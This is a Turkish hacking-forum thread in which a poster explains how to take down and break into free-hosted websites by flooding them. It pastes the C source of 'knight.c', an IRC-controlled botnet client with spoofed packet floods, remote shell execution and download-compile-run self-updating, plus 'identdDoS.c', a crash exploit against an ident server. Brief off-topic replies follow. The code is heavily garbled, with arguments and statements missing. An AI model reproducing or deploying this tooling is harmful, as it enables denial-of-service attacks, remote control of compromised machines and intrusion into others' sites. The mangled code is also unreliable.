beyler freeserversdan alınan bedava sitleri hacklemek için ilk başladığımda bir yntem denemiştim oldu şimdide o yntemi yazıya dküyorum kolay gelsin şidmi freeserversda site alanları küçük dolayısı ile badwichlerde orantılı olarak azdır şidmi siz herhangi bir siteye ddos saldırısı yaparsanız mecburen bir süre sonra bandwichleri dolacak site avaible olacak siz saldırıya bu aşamadan sonra devam ederseniz işte o zaman serverlarda var olan bir bug sayesidne siteye giriş yapmaya çalıştığınızda sitenin dosyaları nünüzde bundan sonrası zaten basit fakat burda bu yntemi kullanmak için exploitlerden anlamınız gerkli ve verdiğim exploiti kullamnız lazım yoksa avucunuzu yalarsınız kolay gelsin. ayrıca site sahibin mailini hackeleyrekte siteyi ele geçirirsiniz zaten bunu yazmama gerek yok tarafımdan yazılmıştır cp yapın fakat kendi adınızı yazmayın vampire 2003 kullanacağınız exploitler knight. c / This code is a very good DDoS program. Its used to test firewalls or some shit like that. Yea, that sounds good. And for education purposes. So its not my fault if you do some other naughty shit with this code. This program goes on IRC and waits in a channel accepting your commands. Edit those #defines down there cause you probably dont wanna use my default info. When it gets on IRC, you can send it the HELP command, prefixed with the CONTROL_CHAR . So it would be something like @HELP. Then it will send back info on all the exploits this knight has. BTW: I dont use comments, sorry. -bysin / // This is the channel name #define CHAN "#@stuff@" // This is the key for the channel #define KEY "blah" // This is the port of the irc servers #define PORT 6667 // This is the timeout to wait #define TIMEOUT 30 // This is the character used to control the net #define CONTROL_CHAR "@" // This is the number of servers in the list int numservers=12; // This is the list of servers char servers = ; //////////////////////////////////////////////////////////////// // Dont edit these // //////////////////////////////////////////////////////////////// #include <stdarg. h> #include <errno. h> #include <stdio. h> #include <stdlib. h> #include <string. h> #include <sys/types. h> #include <sys/stat. h> #include <fcntl. h> #include <strings. h> #include <netinet/in. h> #include <unistd. h> #include <sys/time. h> #include <sys/socket. h> #include <signal. h> #include <arpa/inet. h> #include <netdb. h> #include <time. h> #include <sys/wait. h> int pids, csum=0, actualparent; char nick, disabled=0, execfile ; unsigned long spoofs=0, spoofsm=0, numpids=0; int mfork unsigned long getspoof void filter long pow u_short in_cksum { register int nleft = len; register u_short w = addr; register int sum = 0; u_short answer =0; if return rand ; while (nleft > 1) if (nleft 1) sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = sum; return ; } int Send void checksum { if (argc!= 1) if (! strcmp(argv ,"on")) else } void dns { struct hostent hostm; struct in_addr m; if (mfork != 0) return; if (argc!= 1) Send(sock,"NOTICE %s :Resolving %s...\n", sender, argv ); if ((hostm=gethostbyname(argv )) NULL) memcpy &m, hostm->h_addr, hostm->h_length); Send(sock,"NOTICE %s :Resolved to %s.\n", sender, inet_ntoa ; exit(0); } void getspoofs void version void nickc { if (argc!= 1) if (strlen(argv ) > 10) nick=strdup(argv ); Send ; } void disable void enable void spoof { char ip ; int i, num; unsigned long uip; if (argc!= 1) if (strlen(argv ) > 16) strcpy(ip, argv ); if (ip ".") ip = 0; for (i=0, num=1;i<strlen ;i++) if num++; num=-(num-4); for (i=0;i<num;i++) strcat(ip,".0"); uip=inet_network ; if (num 0) spoofsm=1; else spoofsm=pow(256, num); spoofs=uip; } struct iphdr ; struct ip ; struct udphdr_ ; void bysin { unsigned int secs, port, i=0; unsigned long psize, target; struct sockaddr_in s_in; struct packet packet; int get; time_t start=time ; if (mfork != 0) return; if ((get = socket < 0) exit(1); if (argc < 3) target = inet_addr(argv ); port = atoi(argv ); secs = atoi(argv ); psize = 1500-(sizeof +sizeof ; packet. buf= malloc ; memset(packet. buf,10, psize); Send(sock,"NOTICE %s :Packeting %s.\n", sender, argv ); packet. ip. ip_hl = 5; packet. ip. ip_v = 4; packet. ip. ip_tos = 0; packet. ip. ip_len = 1500; packet. ip. ip_off = 0; packet. ip. ip_p = 17; packet. ip. ip_ttl = 64; packet. ip. ip_dst. s_addr = target; packet. udp. len = htons ; s_in. sin_family = AF_INET; s_in. sin_addr. s_addr = target; for (; { packet. udp. source = rand ; if packet. udp. dest = htons ; else packet. udp. dest = rand ; packet. udp. check = in_cksum &packet,1500); packet. ip. ip_src. s_addr = getspoof ; packet. ip. ip_id = rand ; packet. ip. ip_sum = in_cksum &packet,1500); s_in. sin_port = packet. udp. dest; sendto(get, &packet,1500,0, &s_in, sizeof ; if (i >= 50) i++; } } struct tcphdr_ ; #define PACKETSIZE (sizeof + sizeof struct ip ip; struct tcphdr_ tcp_; struct sockaddr_in s_in; unsigned char packet ; int get; unsigned long target; unsigned long getaddr void makepacket void killm void slice2 { int low, high, port, i=0; unsigned int secs; time_t start=time ; if (mfork != 0) return; if ((get = socket < 0) exit(1); if (argc < 4) Send(sock,"NOTICE %s :Packeting %s.\n", sender, argv ); target = getaddr(argv ); low = atoi(argv ); high = atoi(argv ); secs = atoi(argv ); if if { makepacket ; for (; { killm ; if (i >= 50) i++; } } makepacket ; for (; { for { killm ; if (i >= 50) i++; } } exit(0); } struct ttcphdr ; struct iiphdr ; unsigned short in_cksum2 { register long sum=0; u_short oddbyte=0; while (nbytes > 1) if (nbytes 1) sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ; } unsigned int host2ip { static struct in_addr i; struct hostent h; if((i. s_addr = inet_addr -1) { if((h = gethostbyname NULL) bcopy(h->h_addr, &i. s_addr, h->h_length); } return i. s_addr; } void pan { struct send_tcp send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int syn = , a=0; unsigned int psize=20, source, dest, check; unsigned long saddr, daddr, secs; int get; time_t start=time ; if (mfork != 0) return; if (argc < 2) if ((get = socket < 0) exit(1); daddr=host2ip(argv ); secs=atol(argv ); Send(sock,"NOTICE %s :Panning %s.\n", sender, argv ); send_tcp. ip. ihl = 5; send_tcp. ip. version = 4; send_tcp. ip. tos = 16; send_tcp. ip. frag_off = 64; send_tcp. ip. ttl = 64; send_tcp. ip. protocol = 6; send_tcp. tcp. ack_seq = 0; send_tcp. tcp. doff = 10; send_tcp. tcp. res1 = 0; send_tcp. tcp. cwr = 0; send_tcp. tcp. ece = 0; send_tcp. tcp. urg = 0; send_tcp. tcp. ack = 0; send_tcp. tcp. psh = 0; send_tcp. tcp. rst = 0; send_tcp. tcp. fin = 0; send_tcp. tcp. syn = 1; send_tcp. tcp. window = 30845; send_tcp. tcp. urg_ptr = 0; while(1) { source=rand ; dest=rand ; saddr=getspoof ; send_tcp. ip. tot_len = htons(40+psize); send_tcp. ip. id = rand ; send_tcp. ip. saddr = saddr; send_tcp. ip. daddr = daddr; send_tcp. ip. check = 0; send_tcp. tcp. source = source; send_tcp. tcp. dest = dest; send_tcp. tcp. seq = rand ; send_tcp. tcp. check = 0; sin. sin_family = AF_INET; sin. sin_port = source; sin. sin_addr. s_addr = send_tcp. ip. daddr; send_tcp. ip. check = in_cksum2 &send_tcp. ip, 20); check = rand ; send_tcp. buf = &check) ; send_tcp. buf = &check) ; send_tcp. buf = &check) ; send_tcp. buf = &check) ; pseudo_header. source_address = send_tcp. ip. saddr; pseudo_header. dest_address = send_tcp. ip. daddr; pseudo_header. placeholder = 0; pseudo_header. protocol = IPPROTO_TCP; pseudo_header. tcp_length = htons(20+psize); bcopy &send_tcp. tcp, &pseudo_header. tcp, 20); bcopy &send_tcp. buf, &pseudo_header. buf, psize); send_tcp. tcp. check = in_cksum2 &pseudo_header, 32+psize); sendto(get, &send_tcp, 40+psize, 0, &sin, sizeof ; if (a >= 50) a++; } close ; exit(0); } void majin { struct send_tcp send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int psize=1440, source, dest, a=0; unsigned long saddr, daddr, secs; int get; time_t start=time ; if (mfork != 0) return; if (argc < 2) if ((get = socket < 0) exit(1); daddr=host2ip(argv ); secs=atol(argv ); Send(sock,"NOTICE %s :Majin"n %s.\n", sender, argv ); send_tcp. ip. ihl = 5; send_tcp. ip. version = 4; send_tcp. ip. ttl = 64; send_tcp. ip. protocol = 6; send_tcp. tcp. doff = 10; send_tcp. tcp. res1 = 0; send_tcp. tcp. cwr = 0; send_tcp. tcp. ece = 0; send_tcp. tcp. urg = 1; send_tcp. tcp. ack = 1; send_tcp. tcp. psh = 1; send_tcp. tcp. rst = 0; send_tcp. tcp. fin = 0; send_tcp. tcp. syn = 0; send_tcp. tcp. window = 30845; while(1) { source=rand ; dest=rand ; saddr=getspoof ; send_tcp. ip. tot_len = htons(40+psize); send_tcp. ip. tos = rand %2?16:0; send_tcp. ip. frag_off = rand ; send_tcp. ip. id = rand ; send_tcp. ip. saddr = saddr; send_tcp. ip. daddr = daddr; send_tcp. ip. check = 0; send_tcp. tcp. source = source; send_tcp. tcp. dest = dest; send_tcp. tcp. seq = rand ; send_tcp. tcp. ack_seq = rand ; send_tcp. tcp. check = 0; send_tcp. tcp. urg_ptr = rand ; sin. sin_family = AF_INET; sin. sin_port = source; sin. sin_addr. s_addr = send_tcp. ip. daddr; send_tcp. ip. check = in_cksum2 &send_tcp. ip, 20); pseudo_header. source_address = send_tcp. ip. saddr; pseudo_header. dest_address = send_tcp. ip. daddr; pseudo_header. placeholder = 0; pseudo_header. protocol = IPPROTO_TCP; pseudo_header. tcp_length = htons(20+psize); bcopy &send_tcp. tcp, &pseudo_header. tcp, 20); bcopy &send_tcp. buf, &pseudo_header. buf, psize); send_tcp. tcp. check = in_cksum2 &pseudo_header, 32+psize); sendto(get, &send_tcp, 40+psize, 0, &sin, sizeof ; if (a >= 50) a++; } close ; exit(0); } void update { int sock2, sock3, i, d; struct sockaddr_in server; unsigned long ipaddr; unsigned int dgcc, dport; char buf , pos, port; FILE gcc; int parent=getpid ; if (mfork != 0) return; if (argc < 5) if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) -1) server. sin_family = AF_INET; server. sin_port = htons(atoi(argv )); if ((ipaddr = inet_addr(argv )) -1) { struct hostent hostm; if ((hostm=gethostbyname(argv )) NULL) memcpy &server. sin_addr, hostm->h_addr, hostm->h_length); } else server. sin_addr. s_addr = ipaddr; memset(& , 0, 8); if (connect(sock2, &server, sizeof != 0) memset(buf,0,1024); recv(sock2, buf,1024,0); if (strncmp(buf,"220 ",4)) Send(sock2,"USER %s\r\n", argv ); memset(buf,0,1024); recv(sock2, buf,1024,0); if (strncmp(buf,"331 ",4)) Send(sock2,"PASS %s\r\n", argv ); memset(buf,0,1024); recv(sock2, buf,1024,0); if (strncmp(buf,"230 ",4)) Send(sock2,"REST 0\r\n"); memset(buf,0,1024); recv(sock2, buf,1024,0); gcc=popen ; if else dgcc=0; if { Send(sock2,"TYPE I\r\n"); memset(buf,0,1024); recv(sock2, buf,1024,0); if (strncmp(buf,"200 ",4)) } Send(sock2,"PASV\r\n"); memset(buf,0,1024); recv(sock2, buf,1024,0); if (strncmp(buf,"227 ",4)) for (i=0;i<strlen && buf!= " ; pos=buf+i+1; filter ; if (pos ")") pos =0; for (i=0;i<strlen ;i++) if pos="."; for (d=0, i=0;i<strlen ;i++) { if d++; if (d 4) } for (i=0;i<strlen && port!= ".";i++); port=0; dport=(atoi 256)+atoi(port+i+1); for (i=0;i<strlen(argv ) && argv != ":";i++); argv =0; if Send(sock2,"RETR %s\r\n", argv ); else Send(sock2,"RETR %s\r\n", argv +i+1); if ((sock3 = socket(AF_INET, SOCK_STREAM, 0)) -1) server. sin_family = AF_INET; server. sin_port = htons ; server. sin_addr. s_addr = inet_addr ; memset(& , 0, 8); if (connect(sock3, &server, sizeof != 0) Send ; system ; if { FILE file=fopen ; char bufm ; while(1) fclose ; memset(buf,0,4096); sprintf(buf,"(gcc -o %s /tmp/. c; rm -rf /tmp/. c; kill -9 %d; kill -9 %d; %s &) > /dev/null", execfile, actualparent, parent, execfile); } else { FILE file=fopen ; unsigned char bufm ; while(1) fclose ; memset(buf,0,4096); sprintf(buf,"(mv /tmp/. o %s; chmod 755 %s; kill -9 %d; kill -9 %d; %s &) > /dev/null", execfile, execfile, actualparent, parent, execfile); } system ; close ; close(sock2); close(sock3); kill(9,0); exit(0); } void updatehttp { int sock2, i, d; struct sockaddr_in server; unsigned long ipaddr; unsigned char dgcc; char buf , file; FILE gcc; int parent=getpid ; if (mfork != 0) return; if (argc < 2) if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) -1) server. sin_family = AF_INET; server. sin_port = htons(80); if ((ipaddr = inet_addr(argv )) -1) { struct hostent hostm; if ((hostm=gethostbyname(argv )) NULL) memcpy &server. sin_addr, hostm->h_addr, hostm->h_length); } else server. sin_addr. s_addr = ipaddr; memset(& , 0, 8); if (connect(sock2, &server, sizeof != 0) gcc=popen ; if else dgcc=0; for (i=0;i<strlen(argv ) && argv != ":";i++); argv =0; if file=argv ; else file=argv +i+1; Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, / \r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1, , utf-8\r\n\r\n", file, argv ); Send ; system ; if { FILE file=fopen ; char bufm ; while(1) { int i; if ((i=recv(sock2, bufm,4096,0)) <= 0) break; if (i < 4096) bufm=0; for (d=0;d<i;d++) if (! strncmp(bufm+d,"\r\n\r\n",4)) } done: while(1) fclose ; memset(buf,0,4096); sprintf(buf,"(gcc -o %s /tmp/. c; rm -rf /tmp/. c; kill -9 %d; %s &) > /dev/null 2>&1", execfile, parent, execfile); } else { FILE file=fopen ; unsigned char bufm ; while(1) { int i; if ((i=recv(sock2, bufm,4096,0)) <= 0) break; if (i < 4096) bufm=0; for (d=0;d<i;d++) if (! strncmp(bufm+d,"\r\n\r\n",4)) } done2: while(1) fclose ; memset(buf,0,4096); sprintf(buf,"(mv /tmp/. o %s; chmod 755 %s; kill -9 %d; %s &) > /dev/null", execfile, execfile, parent, execfile); } close ; close(sock2); system ; kill(9,0); exit(0); } void help void killdis { char buf = ; if (disabled 1) return; sprintf(buf,"kill -9 %d;kill -9 0", actualparent); system ; exit(0); } void killall { unsigned long i; for (i=0;i<numpids;i++) { if (pids!= 0 && pids!= getpid } } struct FMessages flooders = { , , , , , , , , , , , , , , , , , }; void _PRIVMSG { int i; char to, message; for (i=0;i<strlen && str!= " ";i++); str=0; to=str; message=str+i+2; if ( message!= 1) return; if (message != 1) return; message =0; message++; for (i=0;i<strlen && sender!= "!";i++); sender=0; if (! strncmp(message,"PING ",5)) Send(sock,"NOTICE %s :\01PING %s\01\n", sender, message+5); else if { char params , name = ; int num_params=0, m; message++;; Send ; if (! strncmp(message,"IRC ",4)) else if (! strncmp(message,"SH ",3)) { char buf ; FILE command; if (mfork != 0) return; command=popen(message+3,"r"); while(! feof pclose ; exit(0); } m=strlen ; for (i=0;i<m;i++) for (i=0;i<strlen ;i++) if num_params++; num_params++; if (num_params > 10) num_params=10; params =name; params ="\0"; m=1; while ( message!= 0) for (m=0; flooders . cmd!= 0; m++) { if (! strcasecmp } } } void _376 void _PING void _352 { int i, d; char msg=str; struct hostent hostm; unsigned long m, n; for (i=0, d=0;d<5;d++) for (i=0;i<strlen && msg!= " ";i++); msg=0; if (! strcmp && ! spoofsm) { msg=str; for (i=0, d=0;d<3;d++) for (i=0;i<strlen && msg!= " ";i++); msg=0; if ((m = inet_addr -1) { if ((hostm=gethostbyname NULL) memcpy &m, hostm->h_addr, hostm->h_length); } &n) = &m) ; &n) = &m) ; &n) = &m) ; &n) =0; spoofsm=256; spoofs=n; } } void _433 struct Messages msgs = { , , , , , , }; int con { int sock; struct sockaddr_in server; unsigned long ipaddr; while(1) { int g=fork ; if (g 0) { char srv; srand((time ^ getpid + getppid ; srv=servers ; if ((sock = socket(AF_INET, SOCK_STREAM, 0)) -1) while(1); server. sin_family = AF_INET; server. sin_port = htons ; if ((ipaddr = inet_addr -1) else server. sin_addr. s_addr = ipaddr; memset(& , 0, 8); if (connect(sock, &server, sizeof != 0) while(1); break; } sleep ; if (waitpid exit(0); kill(g,9); waitpid(g, NULL,0); } if (fork exit(0); setsockopt(sock, SOL_SOCKET, SO_LINGER,0,0); setsockopt(sock, SOL_SOCKET, SO_REUSEADDR,0,0); setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE,0,0); return sock; } int main { char user; int sock; int on, i; char cwd ; FILE file=fopen ; if { char outfile , buf ; int i=strlen(argv ), d=0; getcwd(cwd,256); if (strcmp { while(argv != "/") i--; sprintf(outfile,"\"%s%s\"\n", cwd, argv +i); while(! feof if (d 0) else fclose ; } else fclose ; } getcwd(cwd,256); i=strlen(argv ); while(argv != "/") i--; sprintf(execfile,"\"%s%s\"", cwd, argv +i); strncpy(argv ,"-sh", strlen(argv )); for (on=1;on<argc;on++) memset(argv ,0, strlen ; srand((time ^ getpid + getppid ; nick= malloc(10); memcpy(nick,"knight",6); for (on=6;on<9;on++) nick ="A"+((rand -("A"-1))%("A"-("Z"+1))); nick =0; user= malloc(10); memcpy(user, nick+6,4); user ="-"; for (on=5;on<9;on++) user ="a"+((rand -("a"-1))%("a"-("z"+1))); user =0; if (fork exit(0); while(1) { int g; sock=con ; actualparent=getpid ; g=fork ; if (g -1) while(g -1) g=fork ; if (g!= 0) else { Send ; while(1) { unsigned long i; fd_set n; struct timeval tv; FD_ZERO ; FD_SET ; tv. tv_sec=60 20; tv. tv_usec=0; if (select(sock+1,&n, 0, 0,&tv) <= 0) exit(0); for (i=0;i<numpids;i++) if (waitpid > 0) if (FD_ISSET { char buf , str; int i; if ((i=recv(sock, buf,4096,0)) <= 0) exit(0); buf=0; str=strtok ; while { char name , sender ; filter ; if else strcpy ; for (i=0;i<strlen && str!= " ";i++); str=0; strcpy ; strcpy(str, str+i+1); for (i=0;msgs. cmd!= 0;i++) if (! strcasecmp msgs. func ; if (! strcasecmp exit(0); str=strtok NULL,"\n"); } } } exit(0); } } return 0; } identdDoS. c / this dosses the SuSe ident server, that it!!! identdDoS. c --| BOF| -- / / identdDoS. c written by R00T-dude based upon an advisory I found on sec-focus enjoy oh, just in case you think this there is a buffer overflow possible, there ISN"T the ident server thinks that the string send is to big so it sets a pointer to NULL and that makes it crash!!!! I tested this at home and it worked fine however I an in an inet. cafe right now and this code isn"t tested, so if you find mistakes in it please don"t bitch bout it / #include <stdio. h> #include <sys/socket. h> #include <netdb. h> #include <string. h> int main { struct sockaddr_in sin; struct hostent hp; char stuff ; int sock, conn, i ; if (argc < 2) if ( (hp = gethostbyname§argv ) NULL) sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) sin. sin_family = AF_INET ; sin. sin_port = htons(113); sin. sin_addr. s_addr = inet_addr(argv ); conn = connect(sock, &sin, sizeof ; if (conn < 0) printf ; for(i=0; i < 1100; i++) send(sock, stuff, sizeof , 0); close ; printf ; } --| EOF |--

vay be kaç senelik konu =)) zıplatalım konuyu SEVİŞİRKEN EN ZEVKLİ OLAN ŞEY.. tamam, dikkatinizi çektim. ne kadar meraklısınız byle şeylere terbiyesizliğin lüzumu yok yani :D